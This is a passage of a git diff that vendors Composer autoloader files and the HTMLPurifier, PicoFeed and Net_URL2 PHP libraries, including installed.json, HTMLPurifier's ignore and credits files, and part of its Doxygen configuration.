+ * Prevents access to $this/self from included files.
+ */
+function includeFile($file)
+{
+ include $file;
+}
diff --git a/vendor/ZendXml/vendor/composer/autoload_classmap.php b/vendor/ZendXml/vendor/composer/autoload_classmap.php
new file mode 100644
index 000000000..7a91153b0
--- /dev/null
+++ b/vendor/ZendXml/vendor/composer/autoload_classmap.php
@@ -0,0 +1,9 @@
+<?php
+
+// autoload_classmap.php @generated by Composer
+
+$vendorDir = dirname(dirname(__FILE__));
+$baseDir = dirname($vendorDir);
+
+return array(
+);
diff --git a/vendor/ZendXml/vendor/composer/autoload_namespaces.php b/vendor/ZendXml/vendor/composer/autoload_namespaces.php
new file mode 100644
index 000000000..22f78f2ff
--- /dev/null
+++ b/vendor/ZendXml/vendor/composer/autoload_namespaces.php
@@ -0,0 +1,10 @@
+<?php
+
+// autoload_namespaces.php @generated by Composer
+
+$vendorDir = dirname(dirname(__FILE__));
+$baseDir = dirname($vendorDir);
+
+return array(
+ 'ZendXml' => array($baseDir . '/library'),
+);
diff --git a/vendor/ZendXml/vendor/composer/autoload_psr4.php b/vendor/ZendXml/vendor/composer/autoload_psr4.php
new file mode 100644
index 000000000..b265c64a2
--- /dev/null
+++ b/vendor/ZendXml/vendor/composer/autoload_psr4.php
@@ -0,0 +1,9 @@
+<?php
+
+// autoload_psr4.php @generated by Composer
+
+$vendorDir = dirname(dirname(__FILE__));
+$baseDir = dirname($vendorDir);
+
+return array(
+);
diff --git a/vendor/ZendXml/vendor/composer/autoload_real.php b/vendor/ZendXml/vendor/composer/autoload_real.php
new file mode 100644
index 000000000..d33fba17e
--- /dev/null
+++ b/vendor/ZendXml/vendor/composer/autoload_real.php
@@ -0,0 +1,50 @@
+<?php
+
+// autoload_real.php @generated by Composer
+
+class ComposerAutoloaderInit44f71f876fa818738e1bb91ba3f97956
+{
+ private static $loader;
+
+ public static function loadClassLoader($class)
+ {
+ if ('Composer\Autoload\ClassLoader' === $class) {
+ require __DIR__ . '/ClassLoader.php';
+ }
+ }
+
+ public static function getLoader()
+ {
+ if (null !== self::$loader) {
+ return self::$loader;
+ }
+
+ spl_autoload_register(array('ComposerAutoloaderInit44f71f876fa818738e1bb91ba3f97956', 'loadClassLoader'), true, true);
+ self::$loader = $loader = new \Composer\Autoload\ClassLoader();
+ spl_autoload_unregister(array('ComposerAutoloaderInit44f71f876fa818738e1bb91ba3f97956', 'loadClassLoader'));
+
+ $map = require __DIR__ . '/autoload_namespaces.php';
+ foreach ($map as $namespace => $path) {
+ $loader->set($namespace, $path);
+ }
+
+ $map = require __DIR__ . '/autoload_psr4.php';
+ foreach ($map as $namespace => $path) {
+ $loader->setPsr4($namespace, $path);
+ }
+
+ $classMap = require __DIR__ . '/autoload_classmap.php';
+ if ($classMap) {
+ $loader->addClassMap($classMap);
+ }
+
+ $loader->register(true);
+
+ return $loader;
+ }
+}
+
+function composerRequire44f71f876fa818738e1bb91ba3f97956($file)
+{
+ require $file;
+}
diff --git a/vendor/autoload.php b/vendor/autoload.php
new file mode 100644
index 000000000..3cd25b0d2
--- /dev/null
+++ b/vendor/autoload.php
@@ -0,0 +1,7 @@
+<?php
+
+// autoload.php @generated by Composer
+
+require_once __DIR__ . '/composer' . '/autoload_real.php';
+
+return ComposerAutoloaderInit4750e3a2a6327c742e19653287d1e34f::getLoader();
diff --git a/vendor/composer/ClassLoader.php b/vendor/composer/ClassLoader.php
new file mode 100644
index 000000000..443364959
--- /dev/null
+++ b/vendor/composer/ClassLoader.php
@@ -0,0 +1,383 @@
+<?php
+
+/*
+ * This file is part of Composer.
+ *
+ * (c) Nils Adermann <naderman@naderman.de>
+ * Jordi Boggiano <j.boggiano@seld.be>
+ *
+ * For the full copyright and license information, please view the LICENSE
+ * file that was distributed with this source code.
+ */
+
+namespace Composer\Autoload;
+
+/**
+ * ClassLoader implements a PSR-0 class loader
+ *
+ * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-0.md
+ *
+ * $loader = new \Composer\Autoload\ClassLoader();
+ *
+ * // register classes with namespaces
+ * $loader->add('Symfony\Component', __DIR__.'/component');
+ * $loader->add('Symfony', __DIR__.'/framework');
+ *
+ * // activate the autoloader
+ * $loader->register();
+ *
+ * // to enable searching the include path (eg. for PEAR packages)
+ * $loader->setUseIncludePath(true);
+ *
+ * In this example, if you try to use a class in the Symfony\Component
+ * namespace or one of its children (Symfony\Component\Console for instance),
+ * the autoloader will first look for the class under the component/
+ * directory, and it will then fallback to the framework/ directory if not
+ * found before giving up.
+ *
+ * This class is loosely based on the Symfony UniversalClassLoader.
+ *
+ * @author Fabien Potencier <fabien@symfony.com>
+ * @author Jordi Boggiano <j.boggiano@seld.be>
+ */
+class ClassLoader
+{
+ // PSR-4
+ private $prefixLengthsPsr4 = array();
+ private $prefixDirsPsr4 = array();
+ private $fallbackDirsPsr4 = array();
+
+ // PSR-0
+ private $prefixesPsr0 = array();
+ private $fallbackDirsPsr0 = array();
+
+ private $useIncludePath = false;
+ private $classMap = array();
+
+ public function getPrefixes()
+ {
+ return call_user_func_array('array_merge', $this->prefixesPsr0);
+ }
+
+ public function getPrefixesPsr4()
+ {
+ return $this->prefixDirsPsr4;
+ }
+
+ public function getFallbackDirs()
+ {
+ return $this->fallbackDirsPsr0;
+ }
+
+ public function getFallbackDirsPsr4()
+ {
+ return $this->fallbackDirsPsr4;
+ }
+
+ public function getClassMap()
+ {
+ return $this->classMap;
+ }
+
+ /**
+ * @param array $classMap Class to filename map
+ */
+ public function addClassMap(array $classMap)
+ {
+ if ($this->classMap) {
+ $this->classMap = array_merge($this->classMap, $classMap);
+ } else {
+ $this->classMap = $classMap;
+ }
+ }
+
+ /**
+ * Registers a set of PSR-0 directories for a given prefix, either
+ * appending or prepending to the ones previously set for this prefix.
+ *
+ * @param string $prefix The prefix
+ * @param array|string $paths The PSR-0 root directories
+ * @param bool $prepend Whether to prepend the directories
+ */
+ public function add($prefix, $paths, $prepend = false)
+ {
+ if (!$prefix) {
+ if ($prepend) {
+ $this->fallbackDirsPsr0 = array_merge(
+ (array) $paths,
+ $this->fallbackDirsPsr0
+ );
+ } else {
+ $this->fallbackDirsPsr0 = array_merge(
+ $this->fallbackDirsPsr0,
+ (array) $paths
+ );
+ }
+
+ return;
+ }
+
+ $first = $prefix[0];
+ if (!isset($this->prefixesPsr0[$first][$prefix])) {
+ $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+
+ return;
+ }
+ if ($prepend) {
+ $this->prefixesPsr0[$first][$prefix] = array_merge(
+ (array) $paths,
+ $this->prefixesPsr0[$first][$prefix]
+ );
+ } else {
+ $this->prefixesPsr0[$first][$prefix] = array_merge(
+ $this->prefixesPsr0[$first][$prefix],
+ (array) $paths
+ );
+ }
+ }
+
+ /**
+ * Registers a set of PSR-4 directories for a given namespace, either
+ * appending or prepending to the ones previously set for this namespace.
+ *
+ * @param string $prefix The prefix/namespace, with trailing '\\'
+ * @param array|string $paths The PSR-0 base directories
+ * @param bool $prepend Whether to prepend the directories
+ *
+ * @throws \InvalidArgumentException
+ */
+ public function addPsr4($prefix, $paths, $prepend = false)
+ {
+ if (!$prefix) {
+ // Register directories for the root namespace.
+ if ($prepend) {
+ $this->fallbackDirsPsr4 = array_merge(
+ (array) $paths,
+ $this->fallbackDirsPsr4
+ );
+ } else {
+ $this->fallbackDirsPsr4 = array_merge(
+ $this->fallbackDirsPsr4,
+ (array) $paths
+ );
+ }
+ } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
+ // Register directories for a new namespace.
+ $length = strlen($prefix);
+ if ('\\' !== $prefix[$length - 1]) {
+ throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
+ }
+ $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
+ $this->prefixDirsPsr4[$prefix] = (array) $paths;
+ } elseif ($prepend) {
+ // Prepend directories for an already registered namespace.
+ $this->prefixDirsPsr4[$prefix] = array_merge(
+ (array) $paths,
+ $this->prefixDirsPsr4[$prefix]
+ );
+ } else {
+ // Append directories for an already registered namespace.
+ $this->prefixDirsPsr4[$prefix] = array_merge(
+ $this->prefixDirsPsr4[$prefix],
+ (array) $paths
+ );
+ }
+ }
+
+ /**
+ * Registers a set of PSR-0 directories for a given prefix,
+ * replacing any others previously set for this prefix.
+ *
+ * @param string $prefix The prefix
+ * @param array|string $paths The PSR-0 base directories
+ */
+ public function set($prefix, $paths)
+ {
+ if (!$prefix) {
+ $this->fallbackDirsPsr0 = (array) $paths;
+ } else {
+ $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
+ }
+ }
+
+ /**
+ * Registers a set of PSR-4 directories for a given namespace,
+ * replacing any others previously set for this namespace.
+ *
+ * @param string $prefix The prefix/namespace, with trailing '\\'
+ * @param array|string $paths The PSR-4 base directories
+ *
+ * @throws \InvalidArgumentException
+ */
+ public function setPsr4($prefix, $paths)
+ {
+ if (!$prefix) {
+ $this->fallbackDirsPsr4 = (array) $paths;
+ } else {
+ $length = strlen($prefix);
+ if ('\\' !== $prefix[$length - 1]) {
+ throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
+ }
+ $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
+ $this->prefixDirsPsr4[$prefix] = (array) $paths;
+ }
+ }
+
+ /**
+ * Turns on searching the include path for class files.
+ *
+ * @param bool $useIncludePath
+ */
+ public function setUseIncludePath($useIncludePath)
+ {
+ $this->useIncludePath = $useIncludePath;
+ }
+
+ /**
+ * Can be used to check if the autoloader uses the include path to check
+ * for classes.
+ *
+ * @return bool
+ */
+ public function getUseIncludePath()
+ {
+ return $this->useIncludePath;
+ }
+
+ /**
+ * Registers this instance as an autoloader.
+ *
+ * @param bool $prepend Whether to prepend the autoloader or not
+ */
+ public function register($prepend = false)
+ {
+ spl_autoload_register(array($this, 'loadClass'), true, $prepend);
+ }
+
+ /**
+ * Unregisters this instance as an autoloader.
+ */
+ public function unregister()
+ {
+ spl_autoload_unregister(array($this, 'loadClass'));
+ }
+
+ /**
+ * Loads the given class or interface.
+ *
+ * @param string $class The name of the class
+ * @return bool|null True if loaded, null otherwise
+ */
+ public function loadClass($class)
+ {
+ if ($file = $this->findFile($class)) {
+ includeFile($file);
+
+ return true;
+ }
+ }
+
+ /**
+ * Finds the path to the file where the class is defined.
+ *
+ * @param string $class The name of the class
+ *
+ * @return string|false The path if found, false otherwise
+ */
+ public function findFile($class)
+ {
+ // work around for PHP 5.3.0 - 5.3.2 https://bugs.php.net/50731
+ if ('\\' == $class[0]) {
+ $class = substr($class, 1);
+ }
+
+ // class map lookup
+ if (isset($this->classMap[$class])) {
+ return $this->classMap[$class];
+ }
+
+ $file = $this->findFileWithExtension($class, '.php');
+
+ // Search for Hack files if we are running on HHVM
+ if ($file === null && defined('HHVM_VERSION')) {
+ $file = $this->findFileWithExtension($class, '.hh');
+ }
+
+ if ($file === null) {
+ // Remember that this class does not exist.
+ return $this->classMap[$class] = false;
+ }
+
+ return $file;
+ }
+
+ private function findFileWithExtension($class, $ext)
+ {
+ // PSR-4 lookup
+ $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;
+
+ $first = $class[0];
+ if (isset($this->prefixLengthsPsr4[$first])) {
+ foreach ($this->prefixLengthsPsr4[$first] as $prefix => $length) {
+ if (0 === strpos($class, $prefix)) {
+ foreach ($this->prefixDirsPsr4[$prefix] as $dir) {
+ if (file_exists($file = $dir . DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $length))) {
+ return $file;
+ }
+ }
+ }
+ }
+ }
+
+ // PSR-4 fallback dirs
+ foreach ($this->fallbackDirsPsr4 as $dir) {
+ if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
+ return $file;
+ }
+ }
+
+ // PSR-0 lookup
+ if (false !== $pos = strrpos($class, '\\')) {
+ // namespaced class name
+ $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
+ . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
+ } else {
+ // PEAR-like class name
+ $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
+ }
+
+ if (isset($this->prefixesPsr0[$first])) {
+ foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
+ if (0 === strpos($class, $prefix)) {
+ foreach ($dirs as $dir) {
+ if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
+ return $file;
+ }
+ }
+ }
+ }
+ }
+
+ // PSR-0 fallback dirs
+ foreach ($this->fallbackDirsPsr0 as $dir) {
+ if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
+ return $file;
+ }
+ }
+
+ // PSR-0 include paths.
+ if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
+ return $file;
+ }
+ }
+}
+
+/**
+ * Scope isolated include.
+ *
+ * Prevents access to $this/self from included files.
+ */
+function includeFile($file)
+{
+ include $file;
+}
diff --git a/vendor/composer/autoload_classmap.php b/vendor/composer/autoload_classmap.php
new file mode 100644
index 000000000..7a91153b0
--- /dev/null
+++ b/vendor/composer/autoload_classmap.php
@@ -0,0 +1,9 @@
+<?php
+
+// autoload_classmap.php @generated by Composer
+
+$vendorDir = dirname(dirname(__FILE__));
+$baseDir = dirname($vendorDir);
+
+return array(
+);
diff --git a/vendor/composer/autoload_files.php b/vendor/composer/autoload_files.php
new file mode 100644
index 000000000..915496bea
--- /dev/null
+++ b/vendor/composer/autoload_files.php
@@ -0,0 +1,10 @@
+<?php
+
+// autoload_files.php @generated by Composer
+
+$vendorDir = dirname(dirname(__FILE__));
+$baseDir = dirname($vendorDir);
+
+return array(
+ $vendorDir . '/ezyang/htmlpurifier/library/HTMLPurifier.composer.php',
+);
diff --git a/vendor/composer/autoload_namespaces.php b/vendor/composer/autoload_namespaces.php
new file mode 100644
index 000000000..6598f5b4b
--- /dev/null
+++ b/vendor/composer/autoload_namespaces.php
@@ -0,0 +1,12 @@
+<?php
+
+// autoload_namespaces.php @generated by Composer
+
+$vendorDir = dirname(dirname(__FILE__));
+$baseDir = dirname($vendorDir);
+
+return array(
+ 'PicoFeed' => array($vendorDir . '/fguillot/picofeed/lib'),
+ 'Net' => array($vendorDir . '/pear/net_url2'),
+ 'HTMLPurifier' => array($vendorDir . '/ezyang/htmlpurifier/library'),
+);
diff --git a/vendor/composer/autoload_psr4.php b/vendor/composer/autoload_psr4.php
new file mode 100644
index 000000000..b265c64a2
--- /dev/null
+++ b/vendor/composer/autoload_psr4.php
@@ -0,0 +1,9 @@
+<?php
+
+// autoload_psr4.php @generated by Composer
+
+$vendorDir = dirname(dirname(__FILE__));
+$baseDir = dirname($vendorDir);
+
+return array(
+);
diff --git a/vendor/composer/autoload_real.php b/vendor/composer/autoload_real.php
new file mode 100644
index 000000000..16fe7ad69
--- /dev/null
+++ b/vendor/composer/autoload_real.php
@@ -0,0 +1,59 @@
+<?php
+
+// autoload_real.php @generated by Composer
+
+class ComposerAutoloaderInit4750e3a2a6327c742e19653287d1e34f
+{
+ private static $loader;
+
+ public static function loadClassLoader($class)
+ {
+ if ('Composer\Autoload\ClassLoader' === $class) {
+ require __DIR__ . '/ClassLoader.php';
+ }
+ }
+
+ public static function getLoader()
+ {
+ if (null !== self::$loader) {
+ return self::$loader;
+ }
+
+ spl_autoload_register(array('ComposerAutoloaderInit4750e3a2a6327c742e19653287d1e34f', 'loadClassLoader'), true, true);
+ self::$loader = $loader = new \Composer\Autoload\ClassLoader();
+ spl_autoload_unregister(array('ComposerAutoloaderInit4750e3a2a6327c742e19653287d1e34f', 'loadClassLoader'));
+
+ $includePaths = require __DIR__ . '/include_paths.php';
+ array_push($includePaths, get_include_path());
+ set_include_path(join(PATH_SEPARATOR, $includePaths));
+
+ $map = require __DIR__ . '/autoload_namespaces.php';
+ foreach ($map as $namespace => $path) {
+ $loader->set($namespace, $path);
+ }
+
+ $map = require __DIR__ . '/autoload_psr4.php';
+ foreach ($map as $namespace => $path) {
+ $loader->setPsr4($namespace, $path);
+ }
+
+ $classMap = require __DIR__ . '/autoload_classmap.php';
+ if ($classMap) {
+ $loader->addClassMap($classMap);
+ }
+
+ $loader->register(true);
+
+ $includeFiles = require __DIR__ . '/autoload_files.php';
+ foreach ($includeFiles as $file) {
+ composerRequire4750e3a2a6327c742e19653287d1e34f($file);
+ }
+
+ return $loader;
+ }
+}
+
+function composerRequire4750e3a2a6327c742e19653287d1e34f($file)
+{
+ require $file;
+}
diff --git a/vendor/composer/include_paths.php b/vendor/composer/include_paths.php
new file mode 100644
index 000000000..fe56a21d8
--- /dev/null
+++ b/vendor/composer/include_paths.php
@@ -0,0 +1,10 @@
+<?php
+
+// include_paths.php @generated by Composer
+
+$vendorDir = dirname(dirname(__FILE__));
+$baseDir = dirname($vendorDir);
+
+return array(
+ $vendorDir . '/pear/net_url2',
+);
diff --git a/vendor/composer/installed.json b/vendor/composer/installed.json
new file mode 100644
index 000000000..f7a314210
--- /dev/null
+++ b/vendor/composer/installed.json
@@ -0,0 +1,154 @@
+[
+ {
+ "name": "pear/net_url2",
+ "version": "v2.1.0",
+ "version_normalized": "2.1.0.0",
+ "source": {
+ "type": "git",
+ "url": "https://github.com/pear/Net_URL2.git",
+ "reference": "a124592fbc24d6f20a3138f39458a6002d1f1443"
+ },
+ "dist": {
+ "type": "zip",
+ "url": "https://api.github.com/repos/pear/Net_URL2/zipball/a124592fbc24d6f20a3138f39458a6002d1f1443",
+ "reference": "a124592fbc24d6f20a3138f39458a6002d1f1443",
+ "shasum": ""
+ },
+ "require": {
+ "php": ">=5.1.4"
+ },
+ "require-dev": {
+ "phpunit/phpunit": ">=3.3.0"
+ },
+ "time": "2014-10-21 18:17:20",
+ "type": "library",
+ "extra": {
+ "branch-alias": {
+ "dev-master": "2.0.x-dev"
+ }
+ },
+ "installation-source": "dist",
+ "autoload": {
+ "psr-0": {
+ "Net": ""
+ }
+ },
+ "notification-url": "https://packagist.org/downloads/",
+ "include-path": [
+ "./"
+ ],
+ "license": [
+ "BSD-3-Clause"
+ ],
+ "authors": [
+ {
+ "name": "David Coallier",
+ "email": "davidc@php.net"
+ },
+ {
+ "name": "Tom Klingenberg",
+ "email": "tkli@php.net"
+ },
+ {
+ "name": "Christian Schmidt",
+ "email": "chmidt@php.net"
+ }
+ ],
+ "description": "Class for parsing and handling URL. Provides parsing of URLs into their constituent parts (scheme, host, path etc.), URL generation, and resolving of relative URLs.",
+ "homepage": "https://github.com/pear/Net_URL2",
+ "keywords": [
+ "PEAR",
+ "net",
+ "networking",
+ "rfc3986",
+ "uri",
+ "url"
+ ]
+ },
+ {
+ "name": "ezyang/htmlpurifier",
+ "version": "v4.6.0",
+ "version_normalized": "4.6.0.0",
+ "source": {
+ "type": "git",
+ "url": "https://github.com/ezyang/htmlpurifier.git",
+ "reference": "6f389f0f25b90d0b495308efcfa073981177f0fd"
+ },
+ "dist": {
+ "type": "zip",
+ "url": "https://api.github.com/repos/ezyang/htmlpurifier/zipball/6f389f0f25b90d0b495308efcfa073981177f0fd",
+ "reference": "6f389f0f25b90d0b495308efcfa073981177f0fd",
+ "shasum": ""
+ },
+ "require": {
+ "php": ">=5.2"
+ },
+ "time": "2013-11-30 08:25:19",
+ "type": "library",
+ "installation-source": "dist",
+ "autoload": {
+ "psr-0": {
+ "HTMLPurifier": "library/"
+ },
+ "files": [
+ "library/HTMLPurifier.composer.php"
+ ]
+ },
+ "notification-url": "https://packagist.org/downloads/",
+ "license": [
+ "LGPL"
+ ],
+ "authors": [
+ {
+ "name": "Edward Z. Yang",
+ "email": "admin@htmlpurifier.org",
+ "homepage": "http://ezyang.com",
+ "role": "Developer"
+ }
+ ],
+ "description": "Standards compliant HTML filter written in PHP",
+ "homepage": "http://htmlpurifier.org/",
+ "keywords": [
+ "html"
+ ]
+ },
+ {
+ "name": "fguillot/picofeed",
+ "version": "dev-0.1.0-dev",
+ "version_normalized": "dev-0.1.0-dev",
+ "source": {
+ "type": "git",
+ "url": "https://github.com/fguillot/picoFeed.git",
+ "reference": "e7e32522b487256c3164eeece30203313b09456a"
+ },
+ "dist": {
+ "type": "zip",
+ "url": "https://api.github.com/repos/fguillot/picoFeed/zipball/e7e32522b487256c3164eeece30203313b09456a",
+ "reference": "e7e32522b487256c3164eeece30203313b09456a",
+ "shasum": ""
+ },
+ "require": {
+ "php": ">=5.3.0"
+ },
+ "time": "2014-11-05 01:21:29",
+ "type": "library",
+ "installation-source": "dist",
+ "autoload": {
+ "psr-0": {
+ "PicoFeed": "lib/"
+ }
+ },
+ "notification-url": "https://packagist.org/downloads/",
+ "license": [
+ "Unlicense"
+ ],
+ "authors": [
+ {
+ "name": "Frédéric Guillot",
+ "homepage": "http://fredericguillot.com"
+ }
+ ],
+ "description": "Modern library to write or read feeds (RSS/Atom)",
+ "homepage": "http://fguillot.github.io/picoFeed"
+ }
+]
diff --git a/vendor/ezyang/htmlpurifier/.gitattributes b/vendor/ezyang/htmlpurifier/.gitattributes
new file mode 100644
index 000000000..51e648377
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/.gitattributes
@@ -0,0 +1 @@
+configdoc/usage.xml -crlf
diff --git a/vendor/ezyang/htmlpurifier/.gitignore b/vendor/ezyang/htmlpurifier/.gitignore
new file mode 100644
index 000000000..553f454dc
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/.gitignore
@@ -0,0 +1,28 @@
+tags
+conf/
+test-settings.php
+config-schema.php
+library/HTMLPurifier/DefinitionCache/Serializer/*/
+library/standalone/
+library/HTMLPurifier.standalone.php
+library/HTMLPurifier*.tgz
+library/package*.xml
+smoketests/test-schema.html
+configdoc/*.html
+configdoc/configdoc.xml
+docs/doxygen*
+*.phpt.diff
+*.phpt.exp
+*.phpt.log
+*.phpt.out
+*.phpt.php
+*.phpt.skip.php
+*.htmlt.ini
+*.patch
+/*.php
+vendor
+composer.lock
+*.rej
+*.orig
+*.bak
+core
diff --git a/vendor/ezyang/htmlpurifier/CREDITS b/vendor/ezyang/htmlpurifier/CREDITS
new file mode 100644
index 000000000..7921b45af
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/CREDITS
@@ -0,0 +1,9 @@
+
+CREDITS
+
+Almost everything written by Edward Z. Yang (Ambush Commander). Lots of thanks
+to the DevNetwork Community for their help (see docs/ref-devnetwork.html for
+more details), Feyd especially (namely IPv6 and optimization). Thanks to RSnake
+for letting me package his fantastic XSS cheatsheet for a smoketest.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/Doxyfile b/vendor/ezyang/htmlpurifier/Doxyfile
new file mode 100644
index 000000000..b6130b9b8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/Doxyfile
@@ -0,0 +1,1317 @@
+# Doxyfile 1.5.3
+
+# This file describes the settings to be used by the documentation system
+# doxygen (www.doxygen.org) for a project
+#
+# All text after a hash (#) is considered a comment and will be ignored
+# The format is:
+# TAG = value [value, ...]
+# For lists items can also be appended using:
+# TAG += value [value, ...]
+# Values that contain spaces should be placed between quotes (" ")
+
+#---------------------------------------------------------------------------
+# Project related configuration options
+#---------------------------------------------------------------------------
+
+# This tag specifies the encoding used for all characters in the config file that
+# follow. The default is UTF-8 which is also the encoding used for all text before
+# the first occurrence of this tag. Doxygen uses libiconv (or the iconv built into
+# libc) for the transcoding. See http://www.gnu.org/software/libiconv for the list of
+# possible encodings.
+
+DOXYFILE_ENCODING = UTF-8
+
+# The PROJECT_NAME tag is a single word (or a sequence of words surrounded
+# by quotes) that should identify the project.
+
+PROJECT_NAME = HTMLPurifier
+
+# The PROJECT_NUMBER tag can be used to enter a project or revision number.
+# This could be handy for archiving the generated documentation or
+# if some version control system is used.
+
+PROJECT_NUMBER = 4.6.0
+
+# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute)
+# base path where the generated documentation will be put.
+# If a relative path is entered, it will be relative to the location
+# where doxygen was started. If left blank the current directory will be used.
+
+OUTPUT_DIRECTORY = "docs/doxygen "
+
+# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create
+# 4096 sub-directories (in 2 levels) under the output directory of each output
+# format and will distribute the generated files over these directories.
+# Enabling this option can be useful when feeding doxygen a huge amount of
+# source files, where putting all generated files in the same directory would
+# otherwise cause performance problems for the file system.
+
+CREATE_SUBDIRS = NO
+
+# The OUTPUT_LANGUAGE tag is used to specify the language in which all
+# documentation generated by doxygen is written. Doxygen will use this
+# information to generate all constant output in the proper language.
+# The default language is English, other supported languages are:
+# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional,
+# Croatian, Czech, Danish, Dutch, Finnish, French, German, Greek, Hungarian,
+# Italian, Japanese, Japanese-en (Japanese with English messages), Korean,
+# Korean-en, Lithuanian, Norwegian, Polish, Portuguese, Romanian, Russian,
+# Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian.
+
+OUTPUT_LANGUAGE = English
+
+# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will
+# include brief member descriptions after the members that are listed in
+# the file and class documentation (similar to JavaDoc).
+# Set to NO to disable this.
+
+BRIEF_MEMBER_DESC = YES
+
+# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend
+# the brief description of a member or function before the detailed description.
+# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the
+# brief descriptions will be completely suppressed.
+
+REPEAT_BRIEF = YES
+
+# This tag implements a quasi-intelligent brief description abbreviator
+# that is used to form the text in various listings. Each string
+# in this list, if found as the leading text of the brief description, will be
+# stripped from the text and the result after processing the whole list, is
+# used as the annotated text. Otherwise, the brief description is used as-is.
+# If left blank, the following values are used ("$name" is automatically
+# replaced with the name of the entity): "The $name class" "The $name widget"
+# "The $name file" "is" "provides" "specifies" "contains"
+# "represents" "a" "an" "the"
+
+ABBREVIATE_BRIEF = "The $name class " \
+ "The $name widget " \
+ "The $name file " \
+ is \
+ provides \
+ specifies \
+ contains \
+ represents \
+ a \
+ an \
+ the
+
+# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then
+# Doxygen will generate a detailed section even if there is only a brief
+# description.
+
+ALWAYS_DETAILED_SEC = NO
+
+# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all
+# inherited members of a class in the documentation of that class as if those
+# members were ordinary class members. Constructors, destructors and assignment
+# operators of the base classes will not be shown.
+
+INLINE_INHERITED_MEMB = NO
+
+# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full
+# path before files name in the file list and in the header files. If set
+# to NO the shortest path that makes the file name unique will be used.
+
+FULL_PATH_NAMES = YES
+
+# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag
+# can be used to strip a user-defined part of the path. Stripping is
+# only done if one of the specified strings matches the left-hand part of
+# the path. The tag can be used to show relative paths in the file list.
+# If left blank the directory from which doxygen is run is used as the
+# path to strip.
+
+STRIP_FROM_PATH = "C:/Users/Edward/Webs/htmlpurifier " \
+ "C:/Documents and Settings/Edward/My Documents/My Webs/htmlpurifier "
+
+# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of
+# the path mentioned in the documentation of a class, which tells
+# the reader which header file to include in order to use a class.
+# If left blank only the name of the header file containing the class
+# definition is used. Otherwise one should specify the include paths that
+# are normally passed to the compiler using the -I flag.
+
+STRIP_FROM_INC_PATH =
+
+# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter
+# (but less readable) file names. This can be useful is your file systems
+# doesn't support long names like on DOS, Mac, or CD-ROM.
+
+SHORT_NAMES = NO
+
+# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen
+# will interpret the first line (until the first dot) of a JavaDoc-style
+# comment as the brief description. If set to NO, the JavaDoc
+# comments will behave just like regular Qt-style comments
+# (thus requiring an explicit @brief command for a brief description.)
+
+JAVADOC_AUTOBRIEF = YES
+
+# If the QT_AUTOBRIEF tag is set to YES then Doxygen will
+# interpret the first line (until the first dot) of a Qt-style
+# comment as the brief description. If set to NO, the comments
+# will behave just like regular Qt-style comments (thus requiring
+# an explicit \brief command for a brief description.)
+
+QT_AUTOBRIEF = NO
+
+# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen
+# treat a multi-line C++ special comment block (i.e. a block of //! or ///
+# comments) as a brief description. This used to be the default behaviour.
+# The new default is to treat a multi-line C++ comment block as a detailed
+# description. Set this tag to YES if you prefer the old behaviour instead.
+
+MULTILINE_CPP_IS_BRIEF = NO
+
+# If the DETAILS_AT_TOP tag is set to YES then Doxygen
+# will output the detailed description near the top, like JavaDoc.
+# If set to NO, the detailed description appears after the member
+# documentation.
+
+DETAILS_AT_TOP = NO
+
+# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented
+# member inherits the documentation from any documented member that it
+# re-implements.
+
+INHERIT_DOCS = YES
+
+# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce
+# a new page for each member. If set to NO, the documentation of a member will
+# be part of the file/class/namespace that contains it.
+
+SEPARATE_MEMBER_PAGES = NO
+
+# The TAB_SIZE tag can be used to set the number of spaces in a tab.
+# Doxygen uses this value to replace tabs by spaces in code fragments.
+
+TAB_SIZE = 4
+
+# This tag can be used to specify a number of aliases that acts
+# as commands in the documentation. An alias has the form "name=value".
+# For example adding "sideeffect=\par Side Effects:\n" will allow you to
+# put the command \sideeffect (or @sideeffect) in the documentation, which
+# will result in a user-defined paragraph with heading "Side Effects:".
+# You can put \n's in the value part of an alias to insert newlines.
+
+ALIASES =
+
+# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C
+# sources only. Doxygen will then generate output that is more tailored for C.
